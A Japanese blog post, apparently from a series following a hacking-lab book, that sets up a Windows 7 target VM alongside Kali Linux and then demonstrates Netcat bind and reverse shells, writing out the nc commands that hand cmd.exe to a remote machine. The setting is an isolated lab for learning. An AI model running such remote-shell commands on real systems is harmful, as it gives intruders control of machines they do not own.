ターゲット端末にWindows7を導入し、初期設定を行います。
さらにNetcatを使ってハッキングをしていきます。
まとめ記事（①〜⑯をまとめてます）
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト：VirtualBox 6.1.0
ホストOS：Windows10
ゲストOS1：Kali Linux 2020.1
ゲストOS2：Windows7
攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。
Windows7の導入
Windows7を導入していきます。
以下のURLからダウンロードします。
https://archive.org/details/ie8.win7.virtualbox
ダウンロードしたzipファイルを展開すると、IE8 - Win7.ovaというovaファイルが入っています。
VirtualBoxを起動し、「ファイル」→「仮想アライアンスのインポート」を選択します。
ダウンロードしたovaファイルを指定して、「次へ」ボタンを押します。
内容に問題がなければ、「インポート」ボタンを押します。
ここでは仮想ディスクイメージを「C:\VM_Guest\VBox\IE8 - Win7\IE8 - Win7-disk1.vmdk」としました。
Windows7の初期設定
Windows7の初期設定を行っていきます。
仮想LANアダプターの設定
Windows7をターゲット端末として扱うためにホストオンリーネットワークに属するように設定します。
VirtualBoxの「設定」→「ネットワーク」からホストオンリーアダプターを割り当てます。
Windows7は動的IPアドレスで運用します。
仮想マシンを起動し、ipconfigコマンドでIPアドレスが10.0.0.101～10.0.0.254になっていることを確認します。
Ping応答の設定
Windows7はセキュリティの観点からPingの応答を返さないようになっています。
なおWindows7側からのPingは通ります。
ここではPingの応答を返すように設定します。
「Control Panel」→「System and Security」→「Windows Firewall」→「Advanced settings」→「Inbound Rules」から「File and Printer Sharing（Echo Request - ICMPv4-In）」を右クリックし、「Properties」を選びます。
4つありますが、「Private, Pubric」とあるものだけで構いません。
Enabledにチェックを入れて、「Apply」ボタンを押します。
これでPing応答を返すようになり、通信できることが確認されました。
Windows Updateの無効化
実験環境では特に必要ないのでWindows Updateは無効化します。
「Control Panel」→「System and Security」→「Windows Update」→「Change settings」→「Import updates」から「Never check for updates (not recommended)」を選び、「OK」ボタンを押します。
VirtualBox Guest Additionsの適用
操作性向上のためにGuest Additionsを適用します。
仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「Run VBoxWindowsAdditions.exe」を選び、インストールします。
日本語キーボードの適用
日本語キーボードを適用します。
まず日本語キーボードのドライバーを設定します。
デバイスマネージャーを起動し、「IE8WIN7」→「Keyboards」→「Standard PS/2 Keybord」→「Driver」→「Update Driver」→「Browse my computer for driver software」から「Let me pick from a list of device drivers on my computer」を選びます。
「Show compatible hardware」のチェックを外し、Manufactureで「(Standard keyboards)」、Modelで「Japanese PS/2 Keybord (106/109 Key Ctrl + Eisuu)」を選び、「Next」ボタンを押します。
「Update Driver Warning」から「Yes」ボタンを押せば完了です。
次にシステムの言語設定を変更します。
「Control Panel」→「Change display language」→「Administrative」→「Change system locale」→「Current system locale」から「Japanese (Japan)」を選び、「OK」ボタンを押せば完了です。
デフォルトで言語がJPになるようにするには、「Control Panel」→「Change display language」→「Region and Language」→「Keyboards and Languages」→「Change keyboards」→「Default input language」から「Japan (Japan) - Microsoft IME」を選び、「OK」ボタンを押せば完了です。
これにより、デフォルトで言語にJPが適用されるようになります。
Sysinternals Suiteのインストール
システム情報等を扱うのに便利なSysinternals Suiteをインストールします。
ホストOS側で以下のURLからダウンロードし、Windows7に送付します。
https://docs.microsoft.com/en-us/sysinternals/downloads/
事前に仮想マシンメニューの「デバイス」→「ドラッグ＆ドロップ」から「双方向」に設定しておき、ドラッグ＆ドロップでファイルをコピーします。
SysinternalsSuite.zipファイルを展開し、Autoruns.exeを起動します。
実験後に比較を行うために、初期状態を保存しておきます。
「File」→「Save」からAutoruns_Baseline_20200511.armのようなファイル名で保存します。
Netcatを使ってハッキングをする
Netcatはネットワークを介してデータを送受信するツールで、ネットワークを扱う万能ツールとしても知られています。
これを使用してハッキングを行います。
インストール
Windows7にはデフォルトでNetcatがインストールされていません。
以下のURLからダウンロードします。
https://joncraton.org/blog/46/netcat-for-windows/
ダウンロードはSysinternals Suiteと同じ方法で行います。
ここではC:\Workフォルダに保存しました。
バインドシェル
バインドシェルとは攻撃端末からターゲット端末に接続するタイプのシェルのことです。
Windows7で以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受け、接続したらコマンドプロンプトにリダイレクトします。
> cd C:\Work\nc111nt
> nc.exe -lvp 5555 -e cmd.exe
この状態でKali Linuxから以下のコマンドを入力し、Windwos7に接続します。
ここではWindows7のIPアドレスは10.0.0.102です。
$ nc 10.0.0.102 5555
成功すればプロンプトが表示され、コマンドを実行できるようになります。
つまり、遠隔操作できるようになるというわけです。
リバースシェル
バインドシェルの問題点として、ファイアウォールやルーター等にブロックされやすいことが挙げられます。
これはファイアウォールやルーター等がインバウンドを制限しているためです。
これを解決する方法として、リバースシェルがあります。
リバースシェルはターゲット端末から攻撃端末に接続するタイプのシェルのことです。
ファイアウォールやルーター等はアウトバウンドが緩く、ブロックされにくくなると考えられます。
Kali Linuxで以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受けます。
$ nc -lvp 5555
この状態でWindows7から以下のコマンドを入力し、Kali Linuxに接続します。
> cd C:\Work\nc111nt
> nc.exe 10.0.0.2 5555 -e cmd.exe
成功すればプロンプトが表示され、コマンドを実行できるようになります。
